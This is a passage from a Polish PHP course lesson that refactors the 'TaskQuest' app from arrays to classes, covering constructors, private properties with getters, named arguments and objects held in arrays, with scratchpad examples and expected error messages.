<li>Klasy dostaną metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>. Sprawdzimy je w brudnopisie, ale strona główna ich jeszcze <strong>nie wywołuje</strong> — użytkownik nie ma na razie przycisku „Zrobione!”. To zadanie końcowe A, a trwały zapis XP pojawi się razem z bazą danych.</li>



<li>Nadal <strong>nie używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></strong> (Lekcja 22).</li>



<li>Z programowania obiektowego bierzemy dziś fundament: klasa, obiekt, właściwości, metody, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>, konstruktor, <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>. Dziedziczenie poznasz w pigułce w zadaniu końcowym B. Interfejsy, klasy abstrakcyjne czy metody statyczne nie są TaskQuestowi na razie potrzebne.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 14</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>Dlaczego zwykła zmienna PHP (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$komunikat</code>) znika po wysłaniu strony, a wartość zapisana w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> jest dostępna w następnym żądaniu?</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czytamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> — z <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>. Dlaczego?</li>



<li>Co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code> i dlaczego wywołujemy ją w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dokładnie raz?</li>



<li>Od Lekcji 7 piszesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime(...)</code>, a od Lekcji 12 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Exception(...)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wyjatek-&gt;getMessage()</code>. Co Twoim zdaniem robi słowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>, a co strzałka <code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code>?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Wszystkie funkcje z Lekcji 1–14 zostają. <strong>Kod funkcji się nie zmienia</strong> — z jednym wyjątkiem: funkcje, które zaglądały do tablicy zadania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['...']</code>), będą teraz pytać obiekt (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;...()</code>). Logika (filtrowanie, sumowanie, sortowanie, szukanie największego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>) zostaje taka sama.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: obiekt Uzytkownik, lista zadań to obiekty Zadanie, wyróżnienie zadań po terminie)
├── dodaj-zadanie.php                (zmiana: nowe zadanie to obiekt Zadanie)
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: nowe pliki na liście wymaganych, przegląd katalogu classes/)
├── classes/                         NOWY KATALOG — klasy
│   ├── Zadanie.php                  NOWY — klasa Zadanie
│   └── Uzytkownik.php               NOWY — klasa Uzytkownik
├── config/
│   └── config.php                   bez zmian
├── includes/
│   ├── header.php                   (zmiana: styl .po-terminie)
│   ├── footer.php                   (zmiana: "TaskQuest 1.5")
│   ├── funkcje_grywalizacji.php     bez zmian
│   ├── funkcje_tekstowe.php         bez zmian
│   ├── funkcje_terminow.php         bez zmian
│   ├── funkcje_zadan.php            (zmiana: $zadanie&#91;'...'] → $zadanie-&gt;...())
│   ├── funkcje_sesji.php            bez zmian
│   ├── funkcje_diagnostyczne.php    bez zmian
│   └── funkcje_plikow.php           (zmiana: wczytywanie tworzy obiekty, zapis czyta z obiektów)
└── data/
    └── zadania.csv                  bez zmian (format pliku się nie zmienia!)</code></pre>



<h3 class="wp-block-heading">Co gdzie trafi</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Co się zmienia</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></td><td>nowa klasa: dane zadania + metody (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code>&#8230;)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></td><td>nowa klasa: login, imię, XP, streak + metody (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzPoziom()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code>&#8230;)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca obiekty; <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> czyta dane z obiektów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code></td><td>odwołania do kluczy tablicy zamienione na metody</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>; lista zadań czytana metodami; zadania po terminie wyróżnione</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>nowe zadanie tworzone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>styl, numer wersji, lista wymaganych plików</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li><strong>Zrób kopię zapasową</strong> katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> z Lekcji 14 — jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja14/</code> (obok, nie w środku). Przyda się do testu regresji.</li>



<li>Zrób kopię <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> poza katalogiem projektu.</li>



<li>Zaloguj się i sprawdź, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> działa, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje 15 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</li>
</ol>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Do zespołu TaskQuest dołącza Ola. Dostaje zadanie: „dopisz przycisk odznaczania zadania” i pisze w brudnopisie kod, który <strong>wygląda</strong> rozsądnie.</p>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Wklej do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i <strong>zanim uruchomisz</strong>, przewidź, co się wyświetli:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$zadanie = &#91;
    'id' =&gt; 1,
    'tytul' =&gt; 'Nauczyć się OOP',
    'opis' =&gt; 'Klasa, obiekt, metoda',
    'termin' =&gt; '2026-10-10',
    'wykonane' =&gt; false,
    'xp' =&gt; 30
];

echo "&lt;p&gt;Tytuł: " . $zadanie&#91;'tytuł'] . "&lt;/p&gt;";   // Ola napisała „tytuł” z polską literą

$zadanie&#91;'wykonane'] = 'nie';                    // Ola „odznacza” zadanie tekstem

if ($zadanie&#91;'wykonane']) {
    echo "&lt;p&gt;Zadanie wykonane!&lt;/p&gt;";
}

$zadanie&#91;'xp'] = -500;                           // nic tego nie zabrania

$inneZadanie = &#91;'id' =&gt; 2, 'tytul' =&gt; 'Zadanie bez terminu'];   // brakuje czterech kluczy

echo "&lt;p&gt;Koniec skryptu.&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Co zobaczyłaś/zobaczyłeś?</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Undefined array key "tytuł"</code> i pusty tytuł — PHP ostrzega, ale <strong>jedzie dalej</strong>.</li>



<li>„Zadanie wykonane!” — bo niepusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'nie'</code> w warunku <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> jest traktowany jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>



<li>XP = −500 i zadanie bez terminu — <strong>żadnego</strong> protestu. Kłopot wyjdzie dopiero później, w zupełnie innym miejscu aplikacji (np. gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatTerminu()</code> dostanie brak terminu).</li>
</ul>



<p class="wp-block-paragraph">Tablica to „pudełko z przegródkami”: każdy może do niej włożyć cokolwiek, pod dowolną nazwą. Nikt nie pilnuje, jakie klucze musi mieć zadanie, jakie wartości są dozwolone i kto może je zmieniać.</p>



<p class="wp-block-paragraph">Z użytkownikiem jest podobnie. Żeby wyświetlić jego panel, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> musi znać przepis:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$poziom = obliczPoziom($xp);
$tytul = pobierzTytul($poziom);
$brakujeXp = ileBrakujeXp($xp, $poziom);     ← trzeba pamiętać, co i w jakiej kolejności podać</code></pre>



<p class="wp-block-paragraph">A dane, z których to się liczy, leżą w trzech miejscach: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> (login, imię), luźne zmienne (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dataOstatniejAktywnosci</code>) i funkcje w innym pliku.</p>



<p class="wp-block-paragraph">Potrzebujemy:</p>



<ol class="wp-block-list">
<li><strong>zadania</strong>, które ma zawsze komplet danych i pozwala zmienić tylko to, co wolno (np. oznaczyć je jako wykonane — ale nie ustawić XP na −500),</li>



<li><strong>użytkownika</strong>, który sam wie, jaki ma poziom i ile XP mu brakuje — bez podawania mu za każdym razem jego własnego XP,</li>



<li>żeby pomyłka w nazwie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">tytuł</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>) kończyła się <strong>od razu wyraźnym błędem</strong>, a nie cichym ostrzeżeniem i pustym tekstem.</li>
</ol>



<h1 class="wp-block-heading">3. Nowy mechanizm PHP: klasy i obiekty</h1>



<h2 class="wp-block-heading">3.1 Obiekty już znasz</h2>



<p class="wp-block-paragraph">Od Lekcji 7 używasz obiektów — tylko cudzych:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$dzisiaj = new DateTime('today');       // new — utwórz obiekt klasy DateTime
echo $dzisiaj-&gt;format('Y-m-d');         // -&gt; — poproś obiekt o wykonanie metody format()

$wyjatek = new Exception('Coś poszło nie tak.');
echo $wyjatek-&gt;getMessage();</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> to <strong>klasy</strong> napisane przez twórców PHP. Obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$dzisiaj</code> przechowuje w sobie datę (dane) i potrafi ją sformatować (działanie). Nie wiesz, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> przechowuje datę w środku — i nie musisz. Korzystasz tylko z metod, które klasa udostępnia.</p>



<p class="wp-block-paragraph">Dziś napiszesz własne klasy. Zaczniemy od małego przykładu w brudnopisie, a dopiero potem przejdziemy do TaskQuest.</p>



<h2 class="wp-block-heading">3.2 Klasa i obiekt</h2>



<p class="wp-block-paragraph">Wyobraź sobie, że TaskQuest w przyszłości przyznaje <strong>odznaki</strong> — np. „Pierwsze zadanie” za 10 XP. Każda odznaka ma nazwę i nagrodę XP.</p>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Zastąp zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Odznaka
{
    public string $nazwa;
    public int $xp;
}

$odznaka = new Odznaka();
$odznaka-&gt;nazwa = 'Pierwsze zadanie';
$odznaka-&gt;xp = 10;

$druga = new Odznaka();
$druga-&gt;nazwa = 'Streak 7 dni';
$druga-&gt;xp = 50;

echo "&lt;p&gt;" . $odznaka-&gt;nazwa . " — " . $odznaka-&gt;xp . " XP&lt;/p&gt;";
echo "&lt;p&gt;" . $druga-&gt;nazwa . " — " . $druga-&gt;xp . " XP&lt;/p&gt;";

echo "&lt;pre&gt;";
var_dump($odznaka);
echo "&lt;/pre&gt;";</code></pre>



<p class="wp-block-paragraph">Nowe pojęcia:</p>



<ul class="wp-block-list">
<li><strong>Klasa</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka</code>) to <strong>plan</strong> — opis tego, jakie dane ma mieć każda odznaka. Sama klasa niczego nie przechowuje.</li>



<li><strong>Obiekt</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka()</code>) to <strong>egzemplarz</strong> zbudowany według planu. Z jednej klasy możesz zrobić dowolnie wiele obiektów — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$druga</code> są od siebie niezależne.</li>



<li><strong>Właściwość</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">public string $nazwa;</code>) to zmienna należąca do obiektu. Ma <strong>typ</strong> — tak jak parametry funkcji.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">-&gt;</code> sięga do właściwości (i metod) konkretnego obiektu. Zwróć uwagę: <strong>po strzałce nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code></strong> — piszemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;nazwa</code>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;$nazwa</code>.</li>
</ul>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> pokazuje obiekt: nazwę klasy, numer obiektu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">#1</code>) i wartości wszystkich właściwości.</p>



<p class="wp-block-paragraph">Zasady zapisu, których trzymamy się w TaskQuest: nazwa klasy <strong>wielką literą</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Odznaka</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>), jedna klasa w jednym pliku, plik nazywa się tak jak klasa.</p>



<h2 class="wp-block-heading">3.3 Metody i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code></h2>



<p class="wp-block-paragraph">Chcemy, żeby odznaka sama potrafiła się opisać. Dopisz w klasie, pod właściwościami:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function opis(): string
{
    return $this-&gt;nazwa . " (+" . $this-&gt;xp . " XP)";
}</code></pre>



<p class="wp-block-paragraph">a zamiast dwóch linii z <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo</code> wpisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;p&gt;" . $odznaka-&gt;opis() . "&lt;/p&gt;";
echo "&lt;p&gt;" . $druga-&gt;opis() . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph"><strong>Metoda</strong> to funkcja zapisana w klasie. Wywołujemy ją <strong>na obiekcie</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;opis()</code>.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> oznacza „ten obiekt, na którym właśnie wywołano metodę”. Przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;opis()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka</code>, przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$druga-&gt;opis()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$druga</code>. Dlatego ta sama metoda daje różne wyniki. Metoda <strong>nie potrzebuje parametrów</strong>, żeby dostać nazwę i XP — ma je w swoim obiekcie. To właśnie brakowało nam przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom($xp)</code>.</p>



<h2 class="wp-block-heading">3.4 Konstruktor</h2>



<p class="wp-block-paragraph">Obiekt z punktu 3.2 przez chwilę istnieje „pusty” — między <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka()</code> a ustawieniem nazwy. Gdyby ktoś zapomniał ustawić <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>, dostalibyśmy błąd dopiero przy pierwszym odczycie. Lepiej, żeby obiekt był <strong>kompletny od chwili powstania</strong>.</p>



<p class="wp-block-paragraph">Służy do tego <strong>konstruktor</strong> — metoda o specjalnej nazwie <code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct</code> (<strong>dwa</strong> podkreślniki), którą PHP wywołuje automatycznie przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Odznaka
{
    public string $nazwa;
    public int $xp;

    public function __construct(string $nazwa, int $xp)
    {
        $this-&gt;nazwa = $nazwa;
        $this-&gt;xp = $xp;
    }

    public function opis(): string
    {
        return $this-&gt;nazwa . " (+" . $this-&gt;xp . " XP)";
    }
}

$odznaka = new Odznaka('Pierwsze zadanie', 10);
$druga = new Odznaka('Streak 7 dni', 50);</code></pre>



<p class="wp-block-paragraph">Argumenty z <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka(...)</code> trafiają do parametrów konstruktora. W linii <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;nazwa = $nazwa;</code> są <strong>dwie różne rzeczy</strong> o tej samej nazwie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwa</code> — parametr (wartość przekazana przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;nazwa</code> — właściwość obiektu. Konstruktor przepisuje jedno do drugiego.</p>



<p class="wp-block-paragraph">Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Odznaka('Pierwsze zadanie')</code> (bez XP) kończy się od razu błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">ArgumentCountError: Too few arguments...</code>. Nie da się już zrobić niekompletnej odznaki.</p>



<h2 class="wp-block-heading">3.5 <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code> — obiekt pilnuje swoich danych</h2>



<p class="wp-block-paragraph">Dopisz na końcu brudnopisu:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;xp = -500;
echo "&lt;p&gt;" . $odznaka-&gt;opis() . "&lt;/p&gt;";</code></pre>



<p class="wp-block-paragraph">Działa — i to jest problem. Właściwości są <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>, więc każdy kod może w nich grzebać, tak jak Ola w tablicy zadania.</p>



<p class="wp-block-paragraph">Zmień w klasie oba słowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code> przy <strong>właściwościach</strong> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code> i odśwież. Dostajesz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot access private property Odznaka::$xp</code></pre>



<p class="wp-block-paragraph"><strong>Modyfikatory dostępu</strong> mówią, skąd wolno sięgać do właściwości lub metody:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Modyfikator</th><th>Kto ma dostęp</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></td><td>każdy kod — także spoza klasy</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code></td><td>tylko metody tej klasy (przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this</code>)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Reguła, której trzymamy się w TaskQuest: <strong>właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code></strong>. Obiekt ukrywa swoje dane i pokazuje na zewnątrz tylko to, na co się zgadza. To nazywa się <strong>hermetyzacja</strong> (enkapsulacja).</p>



<p class="wp-block-paragraph">Skoro z zewnątrz nie można przeczytać <code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka-&gt;xp</code>, dodajemy metody, które <strong>zwracają</strong> dane — tzw. <strong>gettery</strong>. A jeśli jakąś daną wolno zmieniać, dajemy metodę, która zmienia ją <strong>według reguł</strong>. Pełna wersja odznaki:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Odznaka
{
    private string $nazwa;
    private int $xp;

    public function __construct(string $nazwa, int $xp)
    {
        $this-&gt;nazwa = $nazwa;
        $this-&gt;xp = $xp;
    }

    public function pobierzNazwe(): string
    {
        return $this-&gt;nazwa;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function zwiekszNagrode(int $dodatkoweXp): void
    {
        if ($dodatkoweXp &lt;= 0) {
            throw new Exception('Nagrodę za odznakę można tylko zwiększyć.');
        }

        $this-&gt;xp += $dodatkoweXp;
    }
}

$odznaka = new Odznaka('Pierwsze zadanie', 10);
$odznaka-&gt;zwiekszNagrode(5);
echo "&lt;p&gt;" . $odznaka-&gt;pobierzNazwe() . ": " . $odznaka-&gt;pobierzXp() . " XP&lt;/p&gt;";   // 15 XP

try {
    $odznaka-&gt;zwiekszNagrode(-500);
} catch (Exception $wyjatek) {
    echo "&lt;p&gt;" . $wyjatek-&gt;getMessage() . "&lt;/p&gt;";
}

echo "&lt;p&gt;Nadal: " . $odznaka-&gt;pobierzXp() . " XP&lt;/p&gt;";   // 15 XP</code></pre>



<p class="wp-block-paragraph">Co tu się zmieniło w porównaniu z tablicą?</p>



<ul class="wp-block-list">
<li>XP da się <strong>przeczytać</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code>), ale <strong>zmienić</strong> tylko przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code> — a ta metoda pilnuje reguły.</li>



<li>Nazwy nie da się zmienić wcale — nie ma do tego metody. Nie każda właściwość potrzebuje metody zmieniającej, a nawet nie każda potrzebuje gettera.</li>



<li>Złe wywołanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">-500</code>) to <strong>błąd programisty</strong>, a nie błąd użytkownika — dlatego jest wyjątek, a nie tablica komunikatów (reguła z Lekcji 12: wyjątek to awaria, a nie zwykła odpowiedź).</li>
</ul>



<p class="wp-block-paragraph">Nazwy metod w TaskQuest: <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierz...()</code> — zwraca daną, <code class="prettyprint lang-sql" style="font-size: 0.85em;">czy...()</code> — zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, czasownik (<code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code>) — zmienia stan obiektu.</p>



<h2 class="wp-block-heading">3.6 Argumenty nazwane</h2>



<p class="wp-block-paragraph">Przy dwóch parametrach łatwo zapamiętać kolejność. Zadanie w TaskQuest będzie miało <strong>sześć</strong> — w tym dwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code> gdzieś w środku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(6, 'Test', 'Opis', '2026-10-01', false, 25);   // co to jest 6, a co 25? co znaczy false?</code></pre>



<p class="wp-block-paragraph">Od PHP 8 możesz podać argumenty <strong>po nazwie parametru</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka = new Odznaka(nazwa: 'Streak 7 dni', xp: 50);
$trzecia = new Odznaka(xp: 100, nazwa: 'Poziom 5');   // kolejność nie ma znaczenia</code></pre>



<p class="wp-block-paragraph">Nazwa przed dwukropkiem to nazwa parametru z konstruktora (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code>). Kod jest dłuższy, ale od razu wiadomo, co jest czym — a zamiana kolejności nie psuje danych (zobaczysz to w Eksperymencie 4). Argumenty nazwane działają tak samo przy zwykłych funkcjach i metodach. W TaskQuest używamy ich przy tworzeniu obiektów z wieloma parametrami.</p>



<h2 class="wp-block-heading">3.7 Obiekty w tablicy</h2>



<p class="wp-block-paragraph">Obiekty można trzymać w tablicy jak każdą inną wartość. Dopisz w brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaki = &#91;
    new Odznaka(nazwa: 'Pierwsze zadanie', xp: 10),
    new Odznaka(nazwa: 'Streak 7 dni', xp: 50),
    new Odznaka(nazwa: 'Poziom 5', xp: 100)
];

$sumaXp = 0;

foreach ($odznaki as $odznaka) {
    $sumaXp += $odznaka-&gt;pobierzXp();
}

echo "&lt;p&gt;Odznaki: " . count($odznaki) . ", razem " . $sumaXp . " XP&lt;/p&gt;";   // 3, razem 160 XP</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">count()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code> działają tak samo jak dotąd. Zmienia się tylko sposób odczytu elementu: zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element['xp']</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element-&gt;pobierzXp()</code>. Tak właśnie przebudujemy listę zadań w TaskQuest: <strong>tablica zostaje, zmienia się to, co w niej leży</strong>.</p>



<p class="wp-block-paragraph">Gdy zapomnisz o zmianie i potraktujesz obiekt jak tablicę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka['xp']</code>), PHP od razu zatrzyma skrypt:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot use object of type Odznaka as array in ... on line ...</code></pre>



<p class="wp-block-paragraph">Ten komunikat będzie Twoją mapą w sekcji 5 — wskaże każde miejsce, którego jeszcze nie przerobiłaś/nie przerobiłeś.</p>



<h2 class="wp-block-heading">3.8 Klasa w osobnym pliku</h2>



<p class="wp-block-paragraph">W brudnopisie klasa i kod, który z niej korzysta, są w jednym pliku. W aplikacji każda klasa dostaje własny plik w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/</code> — tak jak funkcje mają swoje pliki w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/</code>. Plik z klasą to samo PHP (bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>), a strona, która tworzy obiekt, musi go wcześniej dołączyć:</p>



